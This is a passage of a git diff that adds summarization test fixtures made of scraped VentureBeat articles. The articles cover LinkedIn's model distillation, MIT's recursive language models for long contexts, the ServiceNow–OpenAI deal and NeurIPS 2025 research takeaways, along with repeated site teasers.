FLUX-2-Pro Nvidia’s Vera Rubin is months away — Blackwell is getting faster right now Nvidia has been able to increase Blackwell GPU performance by up to 2.8x per GPU in a period of just three short months. Sean Michael Kerner January 9, 2026 CleoP made with Midjourney Why AI feels generic: Replit CEO on slop, toys, and the missing ingredient of taste Right now in the AI world, there are a lot of percolating ideas and experimentation. But as far as Replit CEO Amjad Masad is concerned, they're just "toys": unreliable, marginally effective, and generic. Taryn Plumb January 8, 2026 Image credit: VentureBeat with ChatGPT New ‘Test-Time Training’ method lets AI keep learning without exploding inference costs A new study from researchers at Stanford University and Nvidia proposes a way for AI models to keep learning after deployment — without increasing inference costs. For enterprise agents that have to digest long docs, tickets, and logs, this is a bid to get “long memory” without paying attention costs that grow with context length. Ben Dickson January 6, 2026 Nvidia just admitted the general-purpose GPU era is ending Nvidia’s $20 billion strategic licensing deal with Groq represents one of the first clear moves in a four-front fight over the future AI stack. 2026 is when that fight becomes obvious to enterprise builders. Matt Marshall January 3, 2026 CleoP made with Midjourney Why Notion’s biggest AI breakthrough came from simplifying everything When initially experimenting with LLMs and agentic AI, software engineers at Notion AI applied advanced code generation, complex schemas, and heavy instructioning. Taryn Plumb January 2, 2026 +============== diff --git a/tests/summarization/https___venturebeat.com_infrastructure_why-linkedin-says-prompting-was-a-non-starter-and-small-models-was-the.txt b/tests/summarization/https___venturebeat.com_infrastructure_why-linkedin-says-prompting-was-a-non-starter-and-small-models-was-the.txt new file mode 100644 index 0000000..d63271c --- /dev/null +++ b/tests/summarization/https___venturebeat.com_infrastructure_why-linkedin-says-prompting-was-a-non-starter-and-small-models-was-the.txt @@ -0,0 +1,2 @@ +Why LinkedIn says prompting was a non-starter — and small models was the breakthrough Taryn Plumb January 21, 2026 CleoP made with Midjourney LinkedIn is a leader in AI recommender systems, having developed them over the last 15-plus years. But getting to a next-gen recommendation stack for the job-seekers of tomorrow required a whole new technique. The company had to look beyond off-the-shelf models to achieve next-level accuracy, latency, and efficiency. “There was just no way we were gonna be able to do that through prompting,” Erran Berger, VP of product engineering at LinkedIn, says in a new Beyond the Pilot podcast. “We didn't even try that for next-gen recommender systems because we realized it was a non-starter.” 0:03 / 14:09 Instead, his team set to develop a highly detailed product policy document to fine-tune an initially massive 7-billion-parameter model; that was then further distilled into additional teacher and student models optimized to hundreds of millions of parameters. The technique has created a repeatable cookbook now reused across LinkedIn’s AI products. “Adopting this eval process end to end will drive substantial quality improvement of the likes we probably haven't seen in years here at LinkedIn,” Berger says. Why multi-teacher distillation was a ‘breakthrough’ for LinkedIn Berger and his team set out to build an LLM that could interpret individual job queries, candidate profiles and job descriptions in real time, and in a way that mirrored LinkedIn’s product policy as accurately as possible. Working with the company's product management team, engineers eventually built out a 20-to-30-page document scoring job description and profile pairs “across many dimensions.” “We did many, many iterations on this,” Berger says. That product policy document was then paired with a “golden dataset” comprising thousands of pairs of queries and profiles; the team fed this into ChatGPT during data generation and experimentation, prompting the model over time to learn scoring pairs and eventually generate a much larger synthetic data set to train a 7-billion-parameter teacher model. However, Berger says, it's not enough to have an LLM running in production just on product policy. “At the end of the day, it's a recommender system, and we need to do some amount of click prediction and personalization.” So, his team used that initial product policy-focused teacher model to develop a second teacher model oriented toward click prediction. Using the two, they further distilled a 1.7 billion parameter model for training purposes. That eventual student model was run through “many, many training runs,” and was optimized “at every point” to minimize quality loss, Berger says. This multi-teacher distillation technique allowed the team to “achieve a lot of affinity” to the original product policy and “land” click prediction, he says. They were also able to “modularize and componentize” the training process for the student. Consider it in the context of a chat agent with two different teacher models: One is training the agent on accuracy in responses, the other on tone and how it should communicate. Those two things are very different, yet critical, objectives, Berger notes. “By now mixing them, you get better outcomes, but also iterate on them independently,” he says. “That was a breakthrough for us.” Changing how teams work together Berger says he can’t understate the importance of anchoring on a product policy and an iterative eval process. Getting a “really, really good product policy” requires translating product manager domain expertise into a unified document. Historically, Berger notes, the product management team was laser focused on strategy and user experience, leaving modeling iteration approaches to ML engineers. Now, though, the two teams work together to “dial in” and create an aligned teacher model. “How product managers work with machine learning engineers now is very different from anything we've done previously,” he says. “It’s now a blueprint for basically any AI products we do at LinkedIn.” Watch the full podcast to hear more about: How LinkedIn optimized every step of the R&D process to support velocity, leading to real results with days or hours rather than weeks; Why teams should develop pipelines for plugability and experimentation and try out different models to support flexibility; The continued importance of traditional engineering debugging. You can also listen and subscribe to Beyond the Pilot on Spotify, Apple or wherever you get your podcasts. Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Credit: VentureBeat made with Midjourney Railway secures $100 million to challenge AWS with AI-native cloud infrastructure "As AI models get better at writing code, more and more people are asking the age-old question: where, and how, do I run my applications?" said Jake Cooper, Railway's 28-year-old founder and chief executive, in an exclusive interview with VentureBeat. "The last generation of cloud primitives were slow and outdated, and now with AI moving everything faster, teams simply can't keep up." Michael Nuñez January 22, 2026 Credit: VentureBeat made with Midjourney TrueFoundry launches TrueFailover to automatically reroute enterprise AI traffic during model outages When OpenAI went down in December, one of TrueFoundry’s customers faced a crisis that had nothing to do with chatbots or content generation. The company uses large language models to help refill prescriptions. Every second of downtime meant thousands of dollars in lost revenue — and patients who could not access their medications on time. Michael Nuñez January 21, 2026 Credit: VentureBeat made with Midjourney Claude Code costs up to $200 a month. Goose does the same thing for free. The artificial intelligence coding revolution comes with a catch: it's expensive. Michael Nuñez January 19, 2026 CleoP made with Midjourney Stop calling it 'The AI bubble': It's actually multiple bubbles, each with a different expiration date It’s the question on everyone’s minds and lips: Are we in an AI bubble? Val Bercovici, WEKA January 18, 2026 CleoP made with Midjourney Why reinforcement learning plateaus without representation depth (and other key takeaways from NeurIPS 2025) Every year, NeurIPS produces hundreds of impressive papers, and a handful that subtly reset how practitioners think about scaling, evaluation and system design. In 2025, the most consequential works weren't about a single breakthrough model. Instead, they challenged fundamental assumptions that academicians and corporations have quietly relied on: Bigger models mean better reasoning, RL creates new capabilities, attention is “solved” and generative models inevitably memorize. Maitreyi Chatterjee,Devansh Agarwal January 17, 2026 Image credit: VentureBeat with ChatGPT How Google’s 'internal RL' could unlock long-horizon AI agents Researchers at Google have developed a technique that makes it easier for AI models to learn complex reasoning tasks that usually cause LLMs to hallucinate or fall apart. Instead of training LLMs through next-token prediction, their technique, called internal reinforcement learning (internal RL), steers the model’s internal activations toward developing a high-level step-by-step solution for the input problem. Ben Dickson January 16, 2026 Shimon Ben-David, CTO, WEKA and Matt Marshall, Founder & CEO, VentureBeat Breaking through AI’s memory wall with token warehousing As agentic AI moves from experiments to real production workloads, a quiet but serious infrastructure problem is coming into focus: memory. Not compute. Not models. Memory. VB Staff January 15, 2026 CleoP made with Midjourney Why your LLM bill is exploding — and how semantic caching can cut it by 73% Our LLM API bill was growing 30% month-over-month. Traffic was increasing, but not that fast. When I analyzed our query logs, I found the real problem: Users ask the same questions in different ways. Sreenivasa Reddy Hulebeedu Reddy January 12, 2026 Partner Content How DoorDash scaled without a costly ERP overhaul Presented by NetSuite VB Staff January 12, 2026 Credit:Image generated by VentureBeat with FLUX-2-Pro Nvidia’s Vera Rubin is months away — Blackwell is getting faster right now Nvidia has been able to increase Blackwell GPU performance by up to 2.8x per GPU in a period of just three short months. Sean Michael Kerner January 9, 2026 CleoP made with Midjourney Why AI feels generic: Replit CEO on slop, toys, and the missing ingredient of taste Right now in the AI world, there are a lot of percolating ideas and experimentation. But as far as Replit CEO Amjad Masad is concerned, they're just "toys": unreliable, marginally effective, and generic. Taryn Plumb January 8, 2026 Image credit: VentureBeat with ChatGPT New ‘Test-Time Training’ method lets AI keep learning without exploding inference costs A new study from researchers at Stanford University and Nvidia proposes a way for AI models to keep learning after deployment — without increasing inference costs. For enterprise agents that have to digest long docs, tickets, and logs, this is a bid to get “long memory” without paying attention costs that grow with context length. Ben Dickson January 6, 2026 +============== diff --git a/tests/summarization/https___venturebeat.com_orchestration_mits-new-recursive-framework-lets-llms-process-10-million-tokens-without.txt b/tests/summarization/https___venturebeat.com_orchestration_mits-new-recursive-framework-lets-llms-process-10-million-tokens-without.txt new file mode 100644 index 0000000..4b8e611 --- /dev/null +++ b/tests/summarization/https___venturebeat.com_orchestration_mits-new-recursive-framework-lets-llms-process-10-million-tokens-without.txt @@ -0,0 +1,2 @@ +Featured MIT’s new ‘recursive’ framework lets LLMs process 10 million tokens without context rot Ben Dickson January 20, 2026 Image credit: VentureBeat with ChatGPT Recursive language models (RLMs) are an inference technique developed by researchers at MIT CSAIL that treat long prompts as an external environment to the model. Instead of forcing the entire prompt into the model's context window, the framework allows the LLM to programmatically examine, decompose, and recursively call itself over snippets of the text. Rather than expanding context windows or summarizing old information, the MIT team reframes long-context reasoning as a systems problem. By letting models treat prompts as something they can inspect with code, recursive language models allow LLMs to reason over millions of tokens without retraining. This offers enterprises a practical path to long-horizon tasks like codebase analysis, legal review, and multi-step reasoning that routinely break today’s models. Because the framework is designed as a wrapper around existing models, it can serve as a drop-in replacement for applications that make direct calls to LLMs. 0:03 / 14:09 Keep Watching The LLM context problem While frontier models are becoming increasingly sophisticated at reasoning, their ability to process massive amounts of information is not scaling at the same rate. This bottleneck is driven by two distinct limitations: the hard physical constraint on how much text a model can process at once (context length) and "context rot." The challenge, the researchers argue, is whether it’s possible to scale the effective context size of general-purpose LLMs by orders of magnitude without retraining them. This capability is becoming increasingly important for enterprise applications, where LLMs are adopted for long-horizon tasks requiring the processing of millions of tokens — a challenge Zhang argues can’t be solved by simply expanding context windows. "There is an entropy argument that implies you need exponentially more data samples as you increase the effective context window size," Alex Zhang, a co-author of the paper, told VentureBeat. Current approaches to extending context often rely on compaction, where the model summarizes older parts of the conversation to free up space. However, this method fails for tasks requiring random access to specific details located in earlier parts of the prompt. How RLMs work The concept behind RLMs is drawn from "out-of-core" algorithms used in classical computing. These algorithms are designed to process datasets too large to fit into a computer's main memory by keeping the data on a hard drive and fetching only the necessary chunks as needed. RLMs apply this logic to generative AI. Instead of feeding a long prompt directly into the neural network, the framework loads the text as a string variable inside a Python coding environment. The LLM is given general context about the data (such as the total character count) but does not "see" the text initially. Once the prompt is stored as a variable, the LLM acts as a programmer. It writes Python code to interact with the external variable, using standard commands to peek into the data. For example, the model might use regular expressions to search for specific keywords like "Chapter 1" or "financial results." When the code execution finds a relevant snippet, the RLM pulls only that specific chunk into its active context window for analysis. For example, if the prompt is a massive book, the LLM might write a loop that identifies chapter boundaries and then triggers a sub-call to summarize each chapter individually. RLM architecture (source: arXiv) The architecture typically involves two agents. A "root language model," often a capability-heavy model like GPT-5, acts as the orchestrator. It plans the approach, writes the code, and manages the data flow within the REPL environment. A "recursive language model," often a faster and cheaper model, acts as the worker. The root LM calls this worker to process the specific text snippets isolated by the code. Because the prompt resides in the environment's memory rather than the model's context window, the system can handle inputs far larger than the model's training limit. Importantly, to the end-user, the RLM behaves exactly like a standard model: It accepts a string and returns an answer. This allows enterprise teams to swap standard API calls for RLMs. For developers looking to experiment, the RLM code is currently available on GitHub. "A key argument for RLMs is that most complex tasks can be decomposed into smaller, 'local' sub-tasks," Zhang said. "However, how to perform this context/problem decomposition is non-trivial, and the model must be capable of performing this." RLMs in action To validate the framework, the researchers tested RLMs against base models and other agentic approaches like CodeAct and summary agents across a variety of long-context tasks, including retrieval and multi-hop question answering. The results demonstrated strong performance gains at the 10 million+ token scale. On BrowseComp-Plus, a benchmark involving inputs of 6 to 11 million tokens, standard base models failed completely, scoring 0%. In contrast, the RLM powered by GPT-5 achieved a score of 91.33%, significantly outperforming the Summary Agent (70.47%) and CodeAct (51%). The framework also excelled at tasks with high computational complexity. On OOLONG-Pairs, an information-dense reasoning benchmark where the difficulty scales quadratically with input length, base GPT-5 models failed catastrophically with a score of just 0.04%. The RLM achieved an F1 score (a balanced measure of precision and recall) of 58%, demonstrating emergent capabilities to handle dense tasks that paralyze standard models. Similarly, on code understanding tasks (CodeQA benchmark), the RLM more than doubled the performance of the base GPT-5 model, jumping from 24% to 62%. RLM maintains its performance even after it hits the context window limit of the underlying model (source: arXiv) Regarding the context rot problem, the data showed that while the base GPT-5 performance degrades rapidly as task complexity increases, RLM performance holds steady, consistently outperforming the base model on contexts longer than 16,000 tokens. Despite the increased complexity of the workflow, RLMs often maintained comparable or lower average costs than the baselines. On the BrowseComp-Plus benchmark, the RLM was up to three times cheaper than the summarization baseline. However, the researchers noted that while median costs are low, RLM trajectories are "long-tailed." Outlier runs can become expensive if the model gets stuck in loops or performs redundant verifications. While GPT-5 was conservative in its sub-calls, the open-source Qwen3-Coder model sometimes attempted thousands of sub-calls for simple tasks. "Today, you likely will have to implement your own guardrails and logic to control RLM behavior," Zhang said. However, he hypothesizes that future models could be trained to manage their own compute budgets more effectively. Companies like Prime Intellect are planning to integrate RLM into the training process of models, possibly addressing the edge cases where the model’s inference budget spikes. For enterprise architects deciding where to place their bets, the RLM framework offers a new tool for handling information-dense problems. "I think RLMs are still extremely useful for chatbots (think long chat histories), but ultimately they argue for an alternative way of using LMs," Zhang said. "I think RLMs work in tandem with standard retrieval methods like RAG; they do not serve as a replacement, and can be used in different settings or together." Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. CleoP made with Midjourney Why reinforcement learning plateaus without representation depth (and other key takeaways from NeurIPS 2025) Every year, NeurIPS produces hundreds of impressive papers, and a handful that subtly reset how practitioners think about scaling, evaluation and system design. In 2025, the most consequential works weren't about a single breakthrough model. Instead, they challenged fundamental assumptions that academicians and corporations have quietly relied on: Bigger models mean better reasoning, RL creates new capabilities, attention is “solved” and generative models inevitably memorize. Maitreyi Chatterjee,Devansh Agarwal January 17, 2026 Credit: VentureBeat made with Google Gemini 3 Pro Image / Nano Banana Pro Claude Code just got updated with one of the most-requested user features Anthropic's open source standard, the Model Context Protocol (MCP), released in late 2024, allows users to connect AI models and the agents atop them to external tools in a structured, reliable format. It is the engine behind Anthropic's hit AI agentic programming harness, Claude Code, allowing it to access numerous functions like web browsing and file creation immediately when asked. Carl Franzen January 15, 2026 Credit: VentureBeat, generated with MidJourney Why MongoDB thinks better retrieval — not bigger models — is the key to trustworthy enterprise AI As agentic and RAG systems move into production, retrieval quality is emerging as a quiet failure point — one that can undermine accuracy, cost, and user trust even when models themselves perform well. Emilia David January 15, 2026 CleoP created with Midjourney AI agents can talk — orchestration is what makes them work together Rather than asking how AI agents can work for them, a key question in enterprise is now: Are agents playing well together? Taryn Plumb January 14, 2026 CleoP made with Midjourney Why Egnyte keeps hiring junior engineers despite the rise of AI coding tools The approach challenges a dominant 2025 narrative that automation will replace developers, showing instead how enterprises are using AI to scale engineering capacity while keeping humans firmly in the loop. Taryn Plumb January 13, 2026 Credit: VentureBeat made with Seedream v4.5 on fal.ai This new, dead simple prompt technique boosts accuracy on LLMs by up to 76% on non-reasoning tasks In the chaotic world of Large Language Model (LLM) optimization, engineers have spent the last few years developing increasingly esoteric rituals to get better answers. Carl Franzen January 13, 2026 CleoP made with Midjourney Why your LLM bill is exploding — and how semantic caching can cut it by 73% Our LLM API bill was growing 30% month-over-month. Traffic was increasing, but not that fast. When I analyzed our query logs, I found the real problem: Users ask the same questions in different ways. Sreenivasa Reddy Hulebeedu Reddy January 12, 2026 Credit: VentureBeat, generated with MidJourney Orchestral replaces LangChain’s complexity with reproducible, provider-agnostic LLM orchestration A new framework from researchers Alexander and Jacob Roman rejects the complexity of current AI tools, offering a synchronous, type-safe alternative designed for reproducibility and cost-conscious science. Emilia David January 9, 2026 Partner Content How KPMG is redefining the future of SAP consulting on a global scale Presented by SAP VB Staff January 9, 2026 Credit: VentureBeat made with Google Gemini 3 Pro Image / Nano Banana Pro Claude Code 2.1.0 arrives with smoother workflows and smarter agents Anthropic has released Claude Code v2.1.0, a notable update to its "vibe coding" development environment for autonomously building software, spinning up AI agents, and completing a wide range of computer tasks, according to Head of Claude Code Boris Cherny in a post on X last night. Carl Franzen January 8, 2026 Credit: VentureBeat, generated with MidJourney Nvidia’s Cosmos Reason 2 aims to bring reasoning VLMs into the physical world Nvidia CEO Jensen Huang said last year that we are now entering the age of physical AI. While the company continues to offer LLMs for software use cases, Nvidia is increasingly positioning itself as a provider of AI models for fully AI-powered systems — including agentic AI in the physical world. Emilia David January 5, 2026 Credit: VentureBeat, generated with MidJourney Brex bets on ‘less orchestration’ as it builds an Agent Mesh for autonomous finance Fintech Brex is betting that the future of enterprise AI isn’t better orchestration — it’s less of it. Emilia David January 5, 2026 +============== diff --git a/tests/summarization/https___venturebeat.com_orchestration_what-servicenow-and-openai-signal-for-enterprises-as-ai-moves-from-advice-to.txt b/tests/summarization/https___venturebeat.com_orchestration_what-servicenow-and-openai-signal-for-enterprises-as-ai-moves-from-advice-to.txt new file mode 100644 index 0000000..0e1fbee --- /dev/null +++ b/tests/summarization/https___venturebeat.com_orchestration_what-servicenow-and-openai-signal-for-enterprises-as-ai-moves-from-advice-to.txt @@ -0,0 +1,2 @@ +ServiceNow positions itself as the control layer for enterprise AI execution Emilia David January 21, 2026 Credit: VentureBeat, generated with MidJourney ServiceNow announced a multi-year partnership with OpenAI to bring GPT-5.2 into its AI Control Tower and Xanadu platform, reinforcing ServiceNow’s strategy to focus on enterprise workflows, guardrails, and orchestration rather than building frontier models itself. For enterprise buyers, the deal underscores a broader shift: general-purpose models are becoming interchangeable, while the platforms that control how they’re deployed and governed are where differentiation now lives. 0:01 / 14:09 ServiceNow lets enterprises develop agents and applications, plug them into existing workflows, and manage orchestration and monitoring through its unified AI Control Tower. The partnership does not mean ServiceNow will no longer use other models to power its services, said John Aisien, senior vice president of product management at ServiceNow. "We will remain an open platform. There are things we will partner on with each of the model providers, depending on their expertise. Still, ServiceNow will continue to support a hybrid, multi-model AI strategy where customers can bring any model to our AI platform,” Aisien said in an email to VentureBeat. “Instead of exclusivity, we give enterprise customers maximum flexibility by combining powerful general-purpose models with our own LLMs built for ServiceNow workflows.” What the OpenAI partnership unlocks for ServiceNow customers ServiceNow customers get: Voice-first agents: Speech-to-speech and voice-to-text support Enterprise knowledge access: Q&A grounded in enterprise data, with improved search and discovery Operational automation: Incident summarization and resolution support ServiceNow said it plans to work directly with OpenAI to build “real-time speech-to-speech AI agents that can listen, reason and respond naturally without text intermediation.” The company is also interested in tapping OpenAI’s computer use models to automate actions across enterprise tools such as email and chat. The enterprise playbook The partnership reinforces ServiceNow’s positioning as a control layer for enterprise AI, separating general-purpose models from the services that govern how they’re deployed, monitored, and secured. Rather than owning the models, ServiceNow is emphasizing orchestration and guardrails — the layers enterprises increasingly need to scale AI safely. Some companies that work with enterprises see the partnership as a positive. Tom Bachant, co-founder and CEO of AI workflow and support platform Unthread, said this could further reduce integration friction. “Deeply integrated systems often lower the barrier to entry and simplify initial deployment," he told VentureBeat in an email. "However, as organizations scale AI across core business systems, flexibility becomes more important than standardization. Enterprises ultimately need the ability to adapt performance benchmarks, pricing models, and internal risk postures; none of which remain static over time.” As enterprise AI adoption accelerates, partnerships like this suggest the real battleground is shifting away from the models themselves and toward the platforms that control how those models are used in production. Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Image credit: VentureBeat with ChatGPT MIT’s new ‘recursive’ framework lets LLMs process 10 million tokens without context rot Rather than expanding context windows or summarizing old information, the MIT team reframes long-context reasoning as a systems problem. By letting models treat prompts as something they can inspect with code, recursive language models allow LLMs to reason over millions of tokens without retraining. This offers enterprises a practical path to long-horizon tasks like codebase analysis, legal review, and multi-step reasoning that routinely break today’s models. Ben Dickson January 20, 2026 CleoP made with Midjourney Why reinforcement learning plateaus without representation depth (and other key takeaways from NeurIPS 2025) Every year, NeurIPS produces hundreds of impressive papers, and a handful that subtly reset how practitioners think about scaling, evaluation and system design. In 2025, the most consequential works weren't about a single breakthrough model. Instead, they challenged fundamental assumptions that academicians and corporations have quietly relied on: Bigger models mean better reasoning, RL creates new capabilities, attention is “solved” and generative models inevitably memorize. Maitreyi Chatterjee,Devansh Agarwal January 17, 2026 Credit: VentureBeat made with Google Gemini 3 Pro Image / Nano Banana Pro Claude Code just got updated with one of the most-requested user features Anthropic's open source standard, the Model Context Protocol (MCP), released in late 2024, allows users to connect AI models and the agents atop them to external tools in a structured, reliable format. It is the engine behind Anthropic's hit AI agentic programming harness, Claude Code, allowing it to access numerous functions like web browsing and file creation immediately when asked. Carl Franzen January 15, 2026 Credit: VentureBeat, generated with MidJourney Why MongoDB thinks better retrieval — not bigger models — is the key to trustworthy enterprise AI As agentic and RAG systems move into production, retrieval quality is emerging as a quiet failure point — one that can undermine accuracy, cost, and user trust even when models themselves perform well. Emilia David January 15, 2026 CleoP created with Midjourney AI agents can talk — orchestration is what makes them work together Rather than asking how AI agents can work for them, a key question in enterprise is now: Are agents playing well together? Taryn Plumb January 14, 2026 CleoP made with Midjourney Why Egnyte keeps hiring junior engineers despite the rise of AI coding tools The approach challenges a dominant 2025 narrative that automation will replace developers, showing instead how enterprises are using AI to scale engineering capacity while keeping humans firmly in the loop. Taryn Plumb January 13, 2026 Credit: VentureBeat made with Seedream v4.5 on fal.ai This new, dead simple prompt technique boosts accuracy on LLMs by up to 76% on non-reasoning tasks In the chaotic world of Large Language Model (LLM) optimization, engineers have spent the last few years developing increasingly esoteric rituals to get better answers. Carl Franzen January 13, 2026 CleoP made with Midjourney Why your LLM bill is exploding — and how semantic caching can cut it by 73% Our LLM API bill was growing 30% month-over-month. Traffic was increasing, but not that fast. When I analyzed our query logs, I found the real problem: Users ask the same questions in different ways. Sreenivasa Reddy Hulebeedu Reddy January 12, 2026 Credit: VentureBeat, generated with MidJourney Orchestral replaces LangChain’s complexity with reproducible, provider-agnostic LLM orchestration A new framework from researchers Alexander and Jacob Roman rejects the complexity of current AI tools, offering a synchronous, type-safe alternative designed for reproducibility and cost-conscious science. Emilia David January 9, 2026 Partner Content How KPMG is redefining the future of SAP consulting on a global scale Presented by SAP VB Staff January 9, 2026 Credit: VentureBeat made with Google Gemini 3 Pro Image / Nano Banana Pro Claude Code 2.1.0 arrives with smoother workflows and smarter agents Anthropic has released Claude Code v2.1.0, a notable update to its "vibe coding" development environment for autonomously building software, spinning up AI agents, and completing a wide range of computer tasks, according to Head of Claude Code Boris Cherny in a post on X last night. Carl Franzen January 8, 2026 Credit: VentureBeat, generated with MidJourney Nvidia’s Cosmos Reason 2 aims to bring reasoning VLMs into the physical world Nvidia CEO Jensen Huang said last year that we are now entering the age of physical AI. While the company continues to offer LLMs for software use cases, Nvidia is increasingly positioning itself as a provider of AI models for fully AI-powered systems — including agentic AI in the physical world. Emilia David January 5, 2026 +============== diff --git a/tests/summarization/https___venturebeat.com_orchestration_why-reinforcement-learning-plateaus-without-representation-depth-and-other.txt b/tests/summarization/https___venturebeat.com_orchestration_why-reinforcement-learning-plateaus-without-representation-depth-and-other.txt new file mode 100644 index 0000000..0729712 --- /dev/null +++ b/tests/summarization/https___venturebeat.com_orchestration_why-reinforcement-learning-plateaus-without-representation-depth-and-other.txt @@ -0,0 +1,2 @@ +Featured Why reinforcement learning plateaus without representation depth (and other key takeaways from NeurIPS 2025) Maitreyi Chatterjee,Devansh Agarwal January 17, 2026 CleoP made with Midjourney Image generated using OpenAI’s DALL·E Every year, NeurIPS produces hundreds of impressive papers, and a handful that subtly reset how practitioners think about scaling, evaluation and system design. In 2025, the most consequential works weren't about a single breakthrough model. Instead, they challenged fundamental assumptions that academicians and corporations have quietly relied on: Bigger models mean better reasoning, RL creates new capabilities, attention is “solved” and generative models inevitably memorize. This year’s top papers collectively point to a deeper shift: AI progress is now constrained less by raw model capacity and more by architecture, training dynamics and evaluation strategy. 0:04 / 14:09 Keep Watching Below is a technical deep dive into five of the most influential NeurIPS 2025 papers — and what they mean for anyone building real-world AI systems. 1. LLMs are converging—and we finally have a way to measure it Paper: Artificial Hivemind: The Open-Ended Homogeneity of Language Models For years, LLM evaluation has focused on correctness. But in open-ended or ambiguous tasks like brainstorming, ideation or creative synthesis, there often is no single correct answer. The risk instead is homogeneity: Models producing the same “safe,” high-probability responses. This paper introduces Infinity-Chat, a benchmark designed explicitly to measure diversity and pluralism in open-ended generation. Rather than scoring answers as right or wrong, it measures: Intra-model collapse: How often the same model repeats itself Inter-model homogeneity: How similar different models’ outputs are The result is uncomfortable but important: Across architectures and providers, models increasingly converge on similar outputs — even when multiple valid answers exist. Why this matters in practice For corporations, this reframes “alignment” as a trade-off. Preference tuning and safety constraints can quietly reduce diversity, leading to assistants that feel too safe, predictable or biased toward dominant viewpoints. Takeaway: If your product relies on creative or exploratory outputs, diversity metrics need to be first-class citizens. 2. Attention isn’t finished — a simple gate changes everything Paper: Gated Attention for Large Language Models Transformer attention has been treated as settled engineering. This paper proves it isn’t. The authors introduce a small architectural change: Apply a query-dependent sigmoid gate after scaled dot-product attention, per attention head. That’s it. No exotic kernels, no massive overhead. Across dozens of large-scale training runs — including dense and mixture-of-experts (MoE) models trained on trillions of tokens — this gated variant: Improved stability Reduced “attention sinks” Enhanced long-context performance Consistently outperformed vanilla attention Why it works The gate introduces: Non-linearity in attention outputs Implicit sparsity, suppressing pathological activations This challenges the assumption that attention failures are purely data or optimization problems. Takeaway: Some of the biggest LLM reliability issues may be architectural — not algorithmic — and solvable with surprisingly small changes. 3. RL can scale — if you scale in depth, not just data Paper: 1,000-Layer Networks for Self-Supervised Reinforcement Learning Conventional wisdom says RL doesn’t scale well without dense rewards or demonstrations. This paper reveals that that assumption is incomplete. By scaling network depth aggressively from typical 2 to 5 layers to nearly 1,000 layers, the authors demonstrate dramatic gains in self-supervised, goal-conditioned RL, with performance improvements ranging from 2X to 50X. The key isn’t brute force. It’s pairing depth with contrastive objectives, stable optimization regimes and goal-conditioned representations Why this matters beyond robotics For agentic systems and autonomous workflows, this suggests that representation depth — not just data or reward shaping — may be a critical lever for generalization and exploration. Takeaway: RL’s scaling limits may be architectural, not fundamental. 4. Why diffusion models generalize instead of memorizing Paper: Why Diffusion Models Don't Memorize: The Role of Implicit Dynamical Regularization in Training Diffusion models are massively overparameterized, yet they often generalize remarkably well. This paper explains why. The authors identify two distinct training timescales: One where generative quality rapidly improves Another — much slower — where memorization emerges Crucially, the memorization timescale grows linearly with dataset size, creating a widening window where models improve without overfitting. Practical implications This reframes early stopping and dataset scaling strategies. Memorization isn’t inevitable — it’s predictable and delayed. Takeaway: For diffusion training, dataset size doesn’t just improve quality — it actively delays overfitting. 5. RL improves reasoning performance, not reasoning capacity Paper: Does Reinforcement Learning Really Incentivize Reasoning in LLMs? Perhaps the most strategically important result of NeurIPS 2025 is also the most sobering. This paper rigorously tests whether reinforcement learning with verifiable rewards (RLVR) actually creates new reasoning abilities in LLMs — or simply reshapes existing ones. Their conclusion: RLVR primarily improves sampling efficiency, not reasoning capacity. At large sample sizes, the base model often already contains the correct reasoning trajectories. What this means for LLM training pipelines RL is better understood as: A distribution-shaping mechanism Not a generator of fundamentally new capabilities Takeaway: To truly expand reasoning capacity, RL likely needs to be paired with mechanisms like teacher distillation or architectural changes — not used in isolation. The bigger picture: AI progress is becoming systems-limited Taken together, these papers point to a common theme: The bottleneck in modern AI is no longer raw model size — it’s system design. Diversity collapse requires new evaluation metrics Attention failures require architectural fixes RL scaling depends on depth and representation Memorization depends on training dynamics, not parameter count Reasoning gains depend on how distributions are shaped, not just optimized For builders, the message is clear: Competitive advantage is shifting from “who has the biggest model” to “who understands the system.” Maitreyi Chatterjee is a software engineer. Devansh Agarwal currently works as an ML engineer at FAANG. Welcome to the VentureBeat community! Our guest posting program is where technical experts share insights and provide neutral, non-vested deep dives on AI, data infrastructure, cybersecurity and other cutting-edge technologies shaping the future of enterprise. Read more from our guest post program — and check out our guidelines if you’re interested in contributing an article of your own! Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Image credit: VentureBeat with ChatGPT How Google’s 'internal RL' could unlock long-horizon AI agents Researchers at Google have developed a technique that makes it easier for AI models to learn complex reasoning tasks that usually cause LLMs to hallucinate or fall apart. Instead of training LLMs through next-token prediction, their technique, called internal reinforcement learning (internal RL), steers the model’s internal activations toward developing a high-level step-by-step solution for the input problem. Ben Dickson January 16, 2026 Credit: VentureBeat made with Google Gemini 3 Pro Image / Nano Banana Pro Claude Code just got updated with one of the most-requested user features Anthropic's open source standard, the Model Context Protocol (MCP), released in late 2024, allows users to connect AI models and the agents atop them to external tools in a structured, reliable format. It is the engine behind Anthropic's hit AI agentic programming harness, Claude Code, allowing it to access numerous functions like web browsing and file creation immediately when asked. Carl Franzen January 15, 2026 Credit: VentureBeat, generated with MidJourney Why MongoDB thinks better retrieval — not bigger models — is the key to trustworthy enterprise AI As agentic and RAG systems move into production, retrieval quality is emerging as a quiet failure point — one that can undermine accuracy, cost, and user trust even when models themselves perform well. Emilia David January 15, 2026 Shimon Ben-David, CTO, WEKA and Matt Marshall, Founder & CEO, VentureBeat Breaking through AI’s memory wall with token warehousing As agentic AI moves from experiments to real production workloads, a quiet but serious infrastructure problem is coming into focus: memory. Not compute. Not models. Memory. VB Staff January 15, 2026 CleoP created with Midjourney AI agents can talk — orchestration is what makes them work together Rather than asking how AI agents can work for them, a key question in enterprise is now: Are agents playing well together? Taryn Plumb January 14, 2026 CleoP made with Midjourney 